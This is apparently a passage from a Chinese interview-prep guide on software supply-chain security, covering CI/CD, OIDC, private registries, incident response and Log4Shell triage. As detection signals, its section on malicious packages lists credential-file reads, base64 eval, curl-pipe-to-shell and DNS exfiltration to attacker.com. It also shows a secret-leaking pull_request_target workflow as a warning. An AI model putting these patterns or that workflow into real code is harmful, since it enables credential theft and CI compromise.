I12. 什么是可复现构建?为什么 xz-utils 事件后它变得重要?

答:

定义:同样的源代码 + 同样的构建环境 + 同样的构建命令,任何人在任何时间构建,产出的二进制逐字节完全相同。

★ 为什么 xz-utils 事件后它成了焦点:

xz 后门最可怕的地方:后门代码【不在 git 仓库里】,只在官方发布的 .tar.gz 里。

所以:
  ✗ 代码审查没用 —— 你看的源码是干净的
  ✗ 签名也没用 —— 发布包是维护者用合法密钥签的
  ✗ provenance 都不够 —— 它只能说"这是从 tarball 构建的",
                          但 tarball 本身就有问题

★ 唯一能发现它的方法:
   我拿 git 源码自己按官方流程编一遍,
   和官方发布的二进制【逐字节比对】。
   对得上 → 可信;对不上 → ★ 发布包里有源码之外的东西!

★ 一句话价值:把“你信任我的二进制”变成“你可以自己验证这个二进制”。

六大干扰因素与解法:

干扰 表现 解法
时间戳 构建时间写进二进制 ★ SOURCE_DATE_EPOCH=$(git log -1 --pretty=%ct)
文件路径 绝对路径写进二进制 Go -trimpath;GCC -ffile-prefix-map
文件顺序 目录遍历顺序不同 排序打包;tar --sort=name
依赖版本 拉的是 latest lockfile 锁死
工具版本 不同 JDK/Go 产出不同 ★ 容器固定(写死 FROM golang:1.22.5)
随机数/并行 UUID、并行输出顺序 去掉随机性;-p 1

现状(诚实说明):

✅ 做得好:Debian(95%+)、Go 生态、Nix/Guix、
   ★ Bitcoin Core(2016 年起全部可复现,由全球志愿者各自构建比对)
       —— 一个涉及几十亿美元的系统,靠这个保证二进制没被植入后门

⚠️ 一般:Java(需插件,JDK 版本敏感)、Docker(要固定很多细节)
❌ 做不到:深度学习训练(天然有随机性)、依赖闭源工具链

★ 务实结论(面试这么答):

可复现构建是终极手段,但成本高,不适合所有项目。我会按价值排序: ① 先做 lockfile + 容器化构建环境(消除依赖和工具版本差异)—— 成本最低收益最高 ② 再做 SOURCE_DATE_EPOCH + 去路径(消除时间和路径差异) ③ 高价值组件(加密库、认证组件)再追求完整的可复现构建


9.9.2 进阶题(I13~I22)


I13. 给你一个全新的项目,怎么从零建立供应链安全体系?按优先级排序

答:这是拉开差距的题。核心是排优先级,不是罗列所有措施。

【第一优先级】止血四件事(1~2 周,成本极低,挡住 80% 的攻击)
────────────────────────────────────────────────────
  ① CI 里改用 npm ci / --frozen-lockfile / --require-hashes
     ★ 价值:挡住"依赖偷偷升级"这个最大的入口
  ② 部署清单用 digest,不用 tag
     ★ 价值:挡住"制品被替换"
  ③ 构建机的密钥改成 OIDC 临时凭证
     ★ 价值:恶意脚本偷到的东西 1 小时就失效
  ④ 开通 SBOM 生成(先只生成,先不接扫描)
     ★ 价值:下次 Log4Shell 时你能 1 小时答出来

【第二优先级】收口(1~2 月)
────────────────────────────────────────────────────
  ⑤ 内部包全部迁到 scope / groupId 前缀
  ⑥ 单一源 + 私服代理(不再让客户端直连公网)
  ⑦ 配置 --ignore-scripts 或脚本白名单
  ⑧ SBOM 接入统一平台(Dependency-Track),支持按组件反查服务
  ⑨ 构建机网络出口白名单 + 非 root
  ⑩ .github/ 加 CODEOWNERS,workflow 变更强制 review

【第三优先级】加固(3~6 月)
────────────────────────────────────────────────────
  ⑪ 第三方 Action 全部 SHA pin
  ⑫ 制品签名(cosign)+ 部署前验签
  ⑬ 接入 VEX,治理告警疲劳
  ⑭ 引入行为检测(Socket / GuardDog)
  ⑮ 制品晋级门禁(扫描/测试/SBOM 都通过才能上生产)

【第四优先级】高阶(6~12 月,非必需)
────────────────────────────────────────────────────
  ⑯ SLSA L2/L3
  ⑰ 运行时检测(Falco)
  ⑱ 高价值组件的可复现构建
  ⑲ 许可证合规体系

★ 排序的三个原则(讲出来很加分):

  1. 能挡住“最可能的攻击路径”的先做 现实中最常见的供应链事件是“依赖被投毒 → 偷 CI 凭据”,所以“锁版本 + OIDC”排最前。
  2. 成本收益比高的先做 npm ci 改一行配置就能防一大类;SLSA L3 要花几个月 —— 后者放到后面。
  3. 兜底措施优先于检测措施 “限制爆炸半径”(无密钥、无外网、非 root)比“检测恶意行为”更可靠,因为检测有滞后性和漏报。

★ 反例(不要这么做):

上来就买商业工具、要搞 SLSA L3、要 100% 审查所有依赖 —— ① 成本承受不了,半途而废 ② 前面四件“止血”的事没做,后面做再多也挡不住


I14. CI/CD 流水线最危险的配置是什么?公司有几百条流水线,怎么批量审计?

答:

★ 最危险的配置(第一名,没有之一):

on: pull_request_target        # ← 危险事件:fork PR 能拿到 secrets
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # ← 检出 fork PR 的代码
      - run: npm install && npm test                        # ← 执行它
# ★ 效果:互联网上任何人提一个 PR,就能拿走你所有的 secrets
#   (npm install 会跑 postinstall,代码跑在【有密钥的环境】里)

为什么这么危险:pull_request_target 的设计初衷是让外部贡献者的 PR 也能做需要权限的操作(自动打标签、自动评论),它用的是 main 分支的 workflow,且fork PR 能拿到 secrets。所以只要在这个事件下检出并执行 PR 的代码,就等于把密钥交给陌生人。

对比:

pull_request pull_request_target
用哪个分支的 workflow PR 分支 目标分支(main)
fork PR 能拿 secrets ★ 不能 ★ 能
GITHUB_TOKEN 权限 只读 可写
适用场景 99% 的场景用这个 只在明确需要时才用

★ 正确做法:

# 方案 A(最简单):改用 pull_request
on: pull_request

# 方案 B(两步走,需要 fork PR 也能出构建结果时):
#   job 1(无密钥):fork PR 跑构建,产出 artifact
#   job 2(有密钥):只在被 maintainer 打标签后才跑,
#                    且【检出 main 的代码】,PR 代码只作为数据存在

批量审计几百条流水线的方法:

# 方法一:用现成的扫描器
#   - Legiit / Cider 的 CI/CD 安全扫描(商业)
#   - github/securitylab 的 Actions 审计脚本

# 方法二:★ 自己写脚本(9.5.6 有完整代码)
python workflow_audit.py /path/to/repo --format json

# 检查项:
#   1. pull_request_target + 检出 PR 代码        → CRITICAL
#   2. Action 用 tag 而非 SHA                    → HIGH
#   3. 缺少 permissions 声明                     → MEDIUM
#   4. run 里内插了不可信上下文(脚本注入)        → HIGH
#   5. 使用长期密钥(AWS_ACCESS_KEY 等)          → HIGH
#   6. self-hosted runner                        → INFO
#   7. 缓存配置可能被 fork PR 投毒                → MEDIUM

★ 批量落地的组织级做法(比逐条改 workflow 更有效):

① GitHub Enterprise / GitLab 组织级策略:
   - 默认 permissions 设为 read-only(★ 一次配置,全覆盖)
   - Action 白名单(只允许官方 + 已审批的)
   - 禁止 fork PR 使用 self-hosted runner
   → ★ 这三条能一次性解决大部分问题,不需要改任何 workflow

② 集中式模板:
   - 用 reusable workflow / composite action 提供"安全模板"
   - 新项目强制从模板创建
   → 比"事后审计整改"省力得多

③ 渐进式整改:
   - 先扫一遍,按严重度排序
   - CRITICAL 的当天改,HIGH 的一周内,其余排期
   - ★ 改完加 CI 卡点:workflow_audit 作为 PR 检查项,防止回退

I15. OIDC 联邦的原理是什么?配置时最容易犯的错误是什么?

答:

原理:不给 CI 长期密钥,而是让 CI 每次运行时自报家门,云厂商验证身份后发短时效临时凭证。

① 云侧创建 Role + 信任策略:"我信任 token.actions.githubusercontent.com
   签发的令牌,且 sub 必须是 repo:acme/backend:ref:refs/heads/main"
② CI 向 GitHub OIDC provider 申请 JWT(含仓库、工作流、分支、commit、过期时间)
③ CI 用 JWT 调 AssumeRoleWithWebIdentity
④ 云侧验证:JWT 签名 + aud + sub 是否匹配信任策略
⑤ 返回临时凭证(默认 1 小时)
⑥ 凭证到期自动失效 —— 【没有长期密钥需要保管】

★ 相比长期密钥的三个好处:

长期 Access Key OIDC 临时凭证
有效期 ★ 永久(很多公司三年没换) 1 小时(可配 15 分钟~12 小时)
泄露影响 攻击者永久使用 ★ 1 小时后失效
存储 CI secrets(管理员可见、可能打印到日志) ★ 不需要存储
审计 只知道“这个 key 做了什么” ★ 能精确到“哪次构建、哪个 commit”

★ 配置时最容易犯的错误(第一名):

// ❌ 危险:通配符太宽
"token.actions.githubusercontent.com:sub": "repo:acme/*"
//   → acme 组织下【所有仓库】都能用这个 role!
//   → 任何一个小仓库(包括实习生写的 demo)被攻陷,
//      都能拿到【生产部署权限】

// ✅ 正确:精确到仓库 + 分支/environment
"token.actions.githubusercontent.com:sub": [
  "repo:acme/backend:ref:refs/heads/main",
  "repo:acme/backend:environment:production"
]

其他五个坑:

  1. thumbprint 会轮换:GitHub 会轮换 OIDC 证书(2022、2023 年都轮换过),不更新会导致所有流水线突然失败 → 注册多个 thumbprint 或定期同步
  2. aud 字段各家不同:AWS 要 sts.amazonaws.com,GCP 要 provider 全名,Azure 要 api://AzureADTokenExchange
  3. 最短时长限制:AWS 最短 15 分钟
  4. 有些第三方 Action 还不支持 OIDC
  5. 日志脱敏依然要做(临时凭证出现在日志里也有风险)

I16. 私有仓库(Nexus)怎么配才是安全的?什么是缓存投毒?

答:

三种仓库类型:

  • Proxy:代理公网,缓存下来的包(加速 + 管控 + 断网可用)
  • Hosted:公司自己发布的包
  • Group:聚合入口,★ 成员顺序很重要

★ 最关键的三个配置:

① ★ Group 顺序:内部仓库必须排在公网代理前面
   ❌ [maven-central-proxy, acme-hosted]
      → 请求内部包时先问公网,如果攻击者注册了同名包就【命中公网】
   ✅ [acme-hosted, maven-central-proxy]

② ★ mirrorOf = * (Maven settings.xml)
   <mirror><mirrorOf>*</mirrorOf><url>公司私服</url></mirror>
   → 强制所有请求走私服,防止有人在 pom.xml 里加恶意第三方仓库

③ ★ Hosted 仓库设置 "Disable Redeploy"
   → 同一个版本只能发布一次,防覆盖发布攻击(9.2.5)

★ 缓存投毒悖论:

私服提高了安全性和可用性,但私服本身成了【新的单点 Trust】和【持久化投毒点】。

场景(真实发生过):
  ① 开发者用了个新包 cool-utils,私服去公网拉取并缓存
  ② 恰好这个包当时已是恶意版本(公网被劫持 / DNS 被污染 / 包本身是恶意的)
  ③ 私服缓存了这个恶意版本,默认缓存 30 天或永久
  ④ ★ 之后全公司任何人装 cool-utils,都拿到这个恶意版本
  ⑤ ★ ★ 即使攻击者的包后来被 npm 下架了,
        你私服里的缓存【依然存在】,继续毒害所有人

  → 这就是为什么"公网已经下架了恶意包,你公司还在中毒"
  → 而且很难发现:私服日志没人看、大家默认"私服里的包是安全的"

★ 四个防御措施:

  1. 组件准入扫描(Nexus Firewall / JFrog Xray):包进入缓存前扫描
  2. 缓存 TTL + 定期清理:Maximum component age 设 30 天(不要设永久)
  3. 白名单模式(金融/国企):只允许白名单内的包通过 proxy
  4. 审计日志:监控“第一次出现的包”、“拉取后立即大量安装”

★ 制度层面(六项): ① 人类账号只读,只有 CI 能写 ② Release 仓库禁止覆盖发布 ③ 内部包统一命名空间 ④ 制品保留与清理策略 ⑤ 季度依赖治理日 ⑥ 新增依赖评审流程


I17. 怎么在 CI 里建立“制品晋级”的门禁?

答:

核心思想:制品不是“构建完就能上生产”,而是要经过晋级(promotion)。

构建 → dev 仓库 → (扫描+测试) → staging → (审批+验证) → prod
                       ↑                      ↑
                   自动门禁                人工审批门禁

★ 推荐实现:不复制镜像,只添加 attestation

方案 A/B(多仓库 / 多 tag)的问题:
  复制镜像会导致 digest 变化 → 需要重新签名 → 追踪复杂

★ 方案 C(推荐):同一个 digest,用 attestation 标记"已晋级"
  镜像内容不变,只是多了几份签名证明
  → 部署时检查:"这个 digest 有没有 promotion attestation?"

晋级脚本的四个门禁(完整脚本见 9.6.4):

① 验证 SLSA provenance       → 必须是可信流水线构建的
② 检查漏洞扫描证明            → critical=0,high≤3(超过需人工审批)
③ 检查 SBOM 存在             → 没 SBOM 不许上生产
④ 检查测试通过证明            → 没测试证明不许上生产
⑤ 添加 promotion attestation → 记录晋级时间、操作人、通过了哪些检查

部署侧的最后一道门(K8s 准入控制):

# Kyverno:拒绝未签名/未带 provenance 的镜像
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signature
spec:
  validationFailureAction: Enforce      # ★ Enforce = 阻止部署(不是只告警)
  rules:
    - name: check-signature
      match:
        any:
          - resources:
              kinds: [Pod]
              namespaces: [production]
      verifyImages:
        - imageReferences: ["registry.acme.com/*"]
          attestors:
            - entries:
                - keyless:
                    subject: "https://github.com/acme/*"
                    issuer: "https://token.actions.githubusercontent.com"
                    rekor:
                      url: https://rekor.sigstore.dev
          attestations:
            - predicateType: https://slsa.dev/provenance/v1
              conditions:
                - all:
                    - key: "{{ buildDefinition.externalParameters.workflow.repository }}"
                      operator: Equals
                      value: "https://github.com/acme/backend"

★ 关键价值:就算有人手工 kubectl apply 一个恶意镜像,也进不来。这是“最后一道门”。


I18. 你的项目有 2000 个 npm 依赖,怎么评估风险、怎么排序治理?

答:

先说结论:不可能也不必要全部审查。

算一笔账:
  2000 个依赖 × 2 小时/个 = 4000 小时 ≈ 2 人年
  而 npm 包平均每 30 天有更新,你要【每月】重做一次
  → ★ 100% 人工审查在数学上不可能

★ 分层防御策略:

第 1 层(99% 的包):自动化扫描 + 行为监控,接受"有漏网之鱼"
第 2 层(1% 的关键包):人工重点审查
第 3 层(所有包):锁死版本 + 哈希
第 4 层(兜底):限制爆炸半径(就算有一个包是恶意的,它也干不成事)

★ 怎么排序(这是题目的核心):

第一步:先分类,不是所有依赖都一样重要

  维度一:【是不是生产依赖】
    - devDependencies / test scope → 风险低(不进生产产物)
    - dependencies → 风险高
    → 先把 devDependencies 排除掉,通常能砍掉 30~40%

  维度二:【是不是直接依赖】
    - 直接依赖(你写在 package.json 里的)→ 你知情,风险相对可控
    - ★ 传递依赖(依赖的依赖)→ 你不知情,风险更高(xz-utils 就是这种)
    → 用 npm ls --all 或 mvn dependency:tree 区分

  维度三:【有没有执行权限】
    - 有 postinstall / setup.py → ★ 最高优先级
    - 纯计算型库 → 优先级低

  维度四:【涉及什么能力】
    - 加密、认证、支付、数据序列化、反序列化 → ★ 最高优先级
    - UI 组件、工具函数 → 优先级低

  维度五:【维护者健康度】
    - 单人维护 + 长期不更新 → 风险高(参考 event-stream)
    - 大厂/基金会维护 + 活跃 → 风险低

第二步:按分数排序,取 Top 20 人工审查

  简单的打分公式(可以自己调权重):
    risk_score =
        (is_prod_dep ? 30 : 0)
      + (is_direct_dep ? 10 : 20)        // 传递依赖反而加分
      + (has_install_script ? 25 : 0)
      + (is_security_relevant ? 20 : 0)
      + (single_maintainer ? 10 : 0)
      + (stale_2_years ? 10 : 0)
      + (obfuscated ? 30 : 0)

第三步:对 Top 20 做深度审查(10 项清单,见 9.2.3)

第四步:剩下的用自动化持续监控

★ 一个常被忽略但性价比极高的做法:减少依赖

每次引入新依赖前问三个问题:
  ① 这个功能我能用 20 行代码自己实现吗?(is-odd 这种包引了就是负债)
  ② 现有依赖里有没有已经提供这个能力的?
  ③ 这个包的传递依赖有多少个?(它可能带来 50 个隐藏乘客)

★ 最根本的供应链安全 = 依赖越少,攻击面越小

I19. 恶意开源包有哪些行为特征?怎么检测?

答:

★ 十二个行为特征(按确定性分三档):

第一梯队:几乎可判定为恶意(正常包不会这么做)

  1. ★ 读取 SSH 私钥 / 云凭据文件(~/.ssh/id_rsa、~/.aws/credentials、~/.kube/config)
  2. ★ 读取所有环境变量并外传(Object.entries(process.env).filter(k => /TOKEN|KEY|SECRET/))
  3. ★ 代码混淆 + 动态执行(eval(Buffer.from('...','base64')))
  4. ★ 执行 shell 命令(child_process.exec('curl ... | sh'))
  5. ★ 安装后建立持久化(crontab、systemd service、launchd plist)

第二梯队:高度可疑(需结合上下文) 6. 访问与包功能无关的域名(日期格式化库去连 pastebin.com) 7. 有 postinstall,而包本身是纯计算型库 8. 用 DNS 查询外传数据(dns.resolve(\${data}.attacker.com`),绕过 HTTP 出口白名单) 9. 检测自己是否在 CI / 沙箱环境(if (process.env.CI)`,只在真实目标下手) 10. 硬编码 IP 地址(逃避基于域名的检测)

第三梯队:弱信号 11. 包名和描述不符 / README 是抄的 12. 发布时间与代码内容不匹配

★ 核心检测思路:行为基线对比

不看"它做了什么坏事",而看"它做了【超出声明功能】的事"

  声称"处理日期"的库:
    声明功能:日期解析、格式化、时区转换
    实际行为:读文件、发网络请求、执行 shell
    → ★ 行为超出声明范围 = 异常

  这就是 Socket.dev 的核心思路:
    ① 静态分析提取包的"能力"(capability)
    ② 和声明功能比对
    ③ 超出部分告警

★ 工具与各自盲区:

工具 检测什么 ★ 盲区
npm audit / osv-scanner 已知 CVE ★ 完全不知道“恶意行为”,且对 0day 投毒【滞后几天到几周】
Socket.dev ★ 行为分析(安装脚本、网络、文件访问、混淆) 商业服务(代码要上传);有漏报
GuardDog ★ 行为启发式(Semgrep + YARA) 规则库有限、误报较多(开源自建首选)
Trivy / Grype 镜像 + 依赖的 CVE 同 osv-scanner
自建 YARA 规则 自定义模式 要自己维护

★ 一个重要的时间差事实:

恶意包从发布到下架平均需要几天到几周,而中毒往往发生在发布后的头几个小时。所以扫描器对供应链投毒的防护是滞后的 —— 这也解释了为什么“延迟升级”(Renovate 的 minimumReleaseAge: '3 days')这么有效:让社区先趟雷。

★ Dependabot 的双刃剑:

场景:攻击者发布恶意版本 1.2.4
     → 你的 Dependabot 配了 "minor 自动合并"
     → 凌晨 3 点自动提 PR、自动合并、自动部署
     → 早上你来上班,恶意代码已在生产跑了 6 小时
       而 PR 记录只显示一条"绿色通过的依赖更新"

✅ 正确配置:
   - 自动【提 PR】,但不自动合并
   - ★ Renovate: "minimumReleaseAge": "3 days"(发布 3 天后才升级)
   - 安全更新可以放宽(那是修漏洞不是新功能)

I20. 发现公司的某个依赖被投毒了,你的 24 小时处置流程是什么?

答:(完整 Runbook 见 9.8.5,这里给核心要点)

【阶段 0】确认事实(0~30 分钟)—— 不要急着动手
  ① 确认情报来源可靠
  ② 确认恶意版本的准确标识(包名 + 版本 + 哈希 + 发布时间)
  ③ ★ 用 SBOM 精确查询受影响范围(哪些服务、直接还是传递依赖、是否真装过)
  ④ 确认影响窗口 = max(恶意版本发布时间, 我们第一次安装时间)
  ⑤ 成立应急小组,指定 IC,开战情室
  ⑥ ★ 建立时间线文档(从这一刻记录一切)
  ★★ 这个阶段【不要】急着删包重启 —— 会破坏证据

【阶段 1】遏制(30 分钟 ~ 2 小时)—— 止血
  ① ★ 阻断外传通道(防火墙封禁 C2 域名/IP,DNS 黑洞)—— 优先级最高
  ② ★ 轮换所有可能泄露的凭据
       ★★ 原则:【假设所有凭据都已泄露】,不要试图精确判断哪些泄露了
       优先级:CI secrets > 云 key > 数据库密码 > 第三方 API key > SSH 私钥
  ③ 暂停受影响的流水线
  ④ 隔离受影响服务(非核心立即下线;核心评估后定)
  ⑤ 从制品仓库下架受影响制品 + ★ 清理私服缓存

【阶段 2】排查(2~8 小时)
  ① 谁执行过这个恶意代码(CI 日志、docker history、部署记录)
  ② ★ 数据有没有被传出去(出口流量日志、DNS 日志、代理日志)
     ★ 没日志 → 【按最坏情况处理】
  ③ 有没有被持久化(crontab、systemd、新用户、authorized_keys、
     K8s 的 DaemonSet/CronJob/webhook)
  ④ IOC 全网扫一遍
  ⑤ 评估影响:泄露了什么、影响多少用户、是否触发合规上报(个保法第 57 条)

【阶段 3】根除(8~12 小时)
  ① 升级到安全版本(或降级 / 或换库)
  ② ★ 从【干净源码】重新构建 —— 清理 CI 缓存、Docker 层缓存、私服缓存
     (★ 否则恶意代码会从缓存里"复活")
  ③ 重新部署,用新 digest
  ④ 清除持久化
  ⑤ 重新生成 SBOM 验证恶意组件已归零

【阶段 4】恢复(12~24 小时)
  ① 分批恢复,每批之间观察
  ② 加强监控至少 72 小时(出口流量、认证日志、凭据使用来源)
  ③ 恢复流水线(先跑非核心项目验证)
  ④ 对外沟通(客户 / 监管 / 公众)

【阶段 5】复盘(24 小时后 ~ 1 周)
  ① 无责复盘会
  ② ★ 五个"为什么"找根因
     不是"为什么没检测出来"(那是结果),
     而是"为什么我们的流程允许一个发布 3 天的包进入生产"
  ③ 输出改进项,每项有 owner + deadline
  ④ 更新应急预案
  ⑤ 3 个月后桌面演练

★ 三个最容易犯的错误:

  1. 急着删包重启,破坏证据 → 查不清楚,只能全程按最坏情况处理
  2. 只轮换“确认泄露”的凭据 → 漏掉实际已泄露的,两周后又被入侵
  3. 修完就宣布结束,不复盘 → 三个月后同样的事再来一次

I21. Self-hosted Runner 有什么风险?怎么隔离?

答:

为什么危险(对比托管 runner):

托管 runner(ubuntu-latest) Self-hosted Runner
生命周期 ★ 每次全新 VM,结束即销毁 ✗ 长期存在(几个月不重装)
状态 干净 ✗ 多 job 共享,★ 状态残留
网络 独立 ✗ 通常在内网,★ 能访问内网服务
运行权限 受限 ✗ 常常是 root / 管理员

★ 三个具体攻击场景:

  1. 跨 job 污染:job A(跑 fork PR 不可信代码)在 /tmp 留文件 → job B(有密钥的部署 job)在同一台机器读到 → 密钥泄露
  2. 持久化:攻击者在 fork PR 的 job 里写 cron / systemd 服务 → 之后每个 job 都在他监控下 → 还能改 runner 启动脚本长期潜伏
  3. 内网横向:runner 在内网(能访问数据库、K8s API)→ 攻击者通过 PR 就在你内网有了落脚点(见第七章)

★ 结论:在公开仓库上用 self-hosted runner 且允许 fork PR 触发 = 把内网开放给互联网上的任何人。这是 GitHub 官方文档明确警告的。

四个隔离方案:

# 方案一:★ Ephemeral Runner(一次性,最推荐)
#   用 actions-runner-controller(ARC)在 K8s 里跑
#   → 每个 job 起一个新 Pod,job 结束 Pod 销毁,状态不残留
helm install arc actions-runner-controller/actions-runner-controller -n actions-runner-system
helm install arc-runner-set \
  --set githubConfigUrl="https://github.com/acme/backend" \
  --set maxRunners=10 --set minRunners=0 \
  oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set

# 方案二:容器化 + 非 root + 只读根文件系统
docker run -d --name github-runner \
  --read-only --tmpfs /tmp:rw,size=4g \
  --security-opt no-new-privileges --user 1001:1001 \
  --cap-drop ALL --network ci-network \
  myoung34/github-runner:latest

# 方案三:★ 网络限制(必须做)
#   NetworkPolicy:ingress 全禁,egress 只允许 DNS + GitHub + 公司仓库
#   → 恶意脚本偷了数据也传不出去

# 方案四:★ 分开"可信"和"不可信"的 runner(架构原则)
#   runner group "public-pr":跑 fork PR,无内网、无密钥、用完即毁
#   runner group "internal":跑内部构建部署,有密钥
#   workflow 里用 runs-on.group 指定
#   ★★ 核心原则:【不可信代码】和【有权限的操作】必须跑在不同的机器上

I22. 容器镜像怎么减小攻击面?用 distroless 会带来什么问题、怎么解决?

答:

★ 先建立认知:镜像里的每个二进制都是攻击者的工具

一个镜像按"谁写的"分:
  你的应用 + 依赖   5%   ← 你只 review 这 5%
  JDK / 运行时      25%
  发行版系统库      60%   ← 几乎没人看
  shell/coreutils/curl/包管理器  10%  ← ★★ 攻击者的工具箱
     有 curl/wget → 下载二阶段木马
     有 bash/sh   → 执行任意命令、写持久化
     有 gcc/make  → 容器里现编译 rootkit
     有 nc/socat  → 反弹 shell、端口转发
     有 apt/yum   → 安装更多工具

★ 所以最小化镜像的意义不是"更快"(那只是附带好处),
  而是【移除攻击者的工具箱】

减小攻击面的做法:

做法 说明
★ 多阶段构建 构建依赖(JDK、Maven、gcc)不进最终镜像
★ distroless / scratch 无 shell、无包管理器
★ 非 root 运行 USER nonroot(distroless 自带 uid 65532)
★ 只读根文件系统 readOnlyRootFilesystem: true
★ drop all capabilities capabilities: drop: ["ALL"]
不装 sshd、不 chmod 777、不用 –privileged 基础但常被忽略
定期重建基础镜像 ★ 及时拿到上游安全更新

基础镜像选择:

镜像 大小 shell 适合
ubuntu:22.04 ~77MB ✅ 调试,别上生产
debian:slim ~30MB ✅ 通用
alpine ~7MB ✅(ash) Go 应用、小工具(⚠️ musl 兼容问题)
distroless/java21 ~200MB ❌ ★ 生产推荐
scratch 0 ❌ ★ Go 应用最优(需 CGO_ENABLED=0)

★ distroless 带来的问题:怎么调试?

问题:生产上容器出问题,想进去看看 —— 进不去,没有 shell

解法一:distroless 的 :debug 变体(带 busybox)
   → 只在受控排查场景临时替换,排查完立刻切回

解法二:★ kubectl debug + 临时容器(K8s 1.23+,推荐)
   kubectl debug -it <pod> --image=busybox:1.36 --target=<container> -- sh
   → 在目标容器的命名空间里起临时容器
   → 能看到目标容器的进程、文件系统(/proc/<pid>/root)
   → ★ 不需要改生产镜像,不需要重启 Pod

解法三:★ 靠可观测性,不靠进容器(这才是正道)
   指标 Prometheus、日志 ELK/Loki、链路 OTel/SkyWalking、
   诊断 Arthas/JFR/Actuator(通过 JMX 或 HTTP)
   → "如果能靠 observability 解决,就永远不要进容器"

9.9.3 场景题(I23~I27)


I23. 老板在会上问:“我们用了很多开源软件,会不会有安全风险?“你怎么回答?

★ 答题要点:这是沟通题不是技术题。老板要的不是“有/没有”,而是“风险有多大、我们要花多少钱、能得到什么”。

参考回答:

"有风险,但这个风险是【可控的】,而且我们现在控制得还不够好。
 我用三个数字说明现状,再提三个建议。

【现状】

  第一,我们的暴露面有多大。
    我先说结论:我们 200 个服务,粗略估计直接+传递依赖有 5000+ 个组件,
    其中我们真正审查过的不到 1%。
    这意味着【我们对 99% 的代码没有审查,但它在我们的生产环境里运行】。

  第二,历史上这类事件有多严重。
    2021 年 Log4Shell,CVSS 满分漏洞,
    当时没有依赖清单的公司平均花了 3~7 天才搞清楚自己有没有中招,
    而这 3~7 天里攻击者是可以随时打进来的。
    同年还有个案例,攻击者花两年混成一个开源项目的维护者,
    然后在发布包里植入后门 —— 差点让全球 Linux 服务器都开了后门。

  第三,我们现在的具体风险点在哪。
    我扫了一遍我们的流水线,发现三个能快速改进的点:
      ① 我们的 CI 用的是 npm install 而不是 npm ci,
         意味着依赖可能被偷偷升级而不经过 review
      ② 我们的 CI 里存的是云厂商的长期密钥,
         任何一个恶意依赖都能把它拿走,而且永久有效
      ③ 我们没有依赖清单,
         下次出 Log4Shell 这种事,我们至少要 3 天才能回答"我们中招了吗"

【建议】(按"成本 / 收益"排序)

  第一件事,本周就能做完,几乎零成本:
    把 CI 的 npm install 改成 npm ci,部署清单用 digest 而不是 tag。
    这两条能挡住"依赖被偷偷替换"这个最大的入口。

  第二件事,两周:
    把 CI 里的长期密钥换成临时凭证。
    这样就算有恶意代码执行,它偷到的东西一小时后就没用了。

  第三件事,一个月:
    建立依赖清单(SBOM),接入自动化扫描。
    这个的价值是【出事时的响应速度】——
    下次爆出类似漏洞,我们从 3 天变成 1 小时。

  我需要的资源:大概 1 个人 1 个月,加上一台服务器跑扫描平台。

  最后说一句:
  我不建议一上来就买商业工具或者要做 100% 依赖审查 ——
  那样做成本很高,而且前面这三件事没做完的话,买再多工具也挡不住。"

★ 加分点:
  - 用【数字】而不是形容词("风险很大"不如"5000 个组件,审查过不到 1%")
  - 用【真实案例】建立说服力,但只讲一个,不要堆砌
  - 给出【分阶段的、有成本估算的】方案,而不是"我们应该全面加强"
  - ★ 主动说了"不建议做什么" —— 这体现判断力,不是只会堆需求
  - 全程没有制造恐慌,也没有隐瞒风险

I24. Log4Shell 爆发了,两小时内给我受影响系统的清单

★ 答题要点:这是典型的“有无 SBOM 决定生死”的场景。要同时答出“有 SBOM 怎么做”和“没 SBOM 的应急手段”。

理想情况(有 SBOM):

-- 如果 SBOM 进了数据库/Dependency-Track
SELECT DISTINCT s.service_name, s.env, c.version, c.purl, s.owner
FROM sbom_components c
JOIN sbom s ON c.sbom_id = s.id
WHERE c.purl LIKE 'pkg:maven/org.apache.logging.log4j/log4j-core%'
  AND c.version IN ('2.0', '2.0-beta9', ..., '2.14.1')  -- 受影响版本区间
ORDER BY s.env DESC;   -- 生产环境优先
# 或者用 SBOM 文件 + jq(没平台时)
for f in sbom/*.json; do
  jq -r --arg f "$f" '
    .components[]
    | select(.purl | test("log4j-core@2\\.(0|1[0-4])"))
    | "\($f)\t\(.name)\t\(.version)\t\(.purl)"' "$f"
done | column -t

★ 但有 SBOM 只是第一步,还要做“可利用性判断”(这是区分水平的地方):

不是所有"用了 log4j 2.14.1"的系统都真的能被利用。
要进一步判断:
  ① JRE 版本 ≥ 8u121/11.0.1 且 ≤ 8u191 等区间的,JNDI LDAP 默认开启(更危险)
  ② 是否设置了 -Dlog4j2.formatMsgNoLookups=true(可缓解)
  ③ 是否有攻击者可控的输入进入日志(★ 关键:log4j 记录用户输入吗?)
  ④ 是否有出站网络(JNDI 要连外部 LDAP 服务器)

  → 输出【优先级清单】而不是"一刀切的 37 个系统":
     P0(立即处理):生产 + 有用户输入进日志 + 能出网
     P1(24 小时内):生产 + 但输入不可控
     P2(本周):非生产

没有 SBOM 的应急手段(诚实说明,很多公司就在这):

# ① 扫所有仓库的 lockfile / pom.xml
find /repos -name "pom.xml" -o -name "package-lock.json" -o -name "yarn.lock" \
  | xargs grep -l "log4j" 2>/dev/null

# ② ★ 扫已经打好的 jar(更准确,因为含传递依赖)
for jar in $(find /artifacts -name "*.jar"); do
  if unzip -l "$jar" 2>/dev/null | grep -q "log4j-core"; then
    VER=$(unzip -p "$jar" META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties 2>/dev/null \
          | grep version | cut -d= -f2)
    echo "$jar → log4j-core $VER"
  fi
done

# ③ ★ 扫 Docker 镜像(★ 最容易被漏掉的地方)
for img in $(docker images --format "{{.Repository}}:{{.Tag}}"); do
  docker run --rm --entrypoint="" "$img" \
    sh -c 'find / -name "log4j-core*.jar" 2>/dev/null' 2>/dev/null \
    | sed "s|^|$img: |"
done

# ④ 扫运行中的容器
kubectl get pods -A -o json \
  | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)"' \
  | while read -r pod; do
      ns=${pod%/*}; name=${pod#*/}
      kubectl exec -n "$ns" "$name" -- \
        sh -c 'find / -name "log4j-core*.jar" 2>/dev/null' 2>/dev/null \
        | sed "s|^|$pod: |"
    done

# ⑤ 用专业工具
trivy fs --scanners vuln --severity CRITICAL /path/to/project
grype dir:/path/to/project

★ 最后一定要说的三句(体现复盘意识):

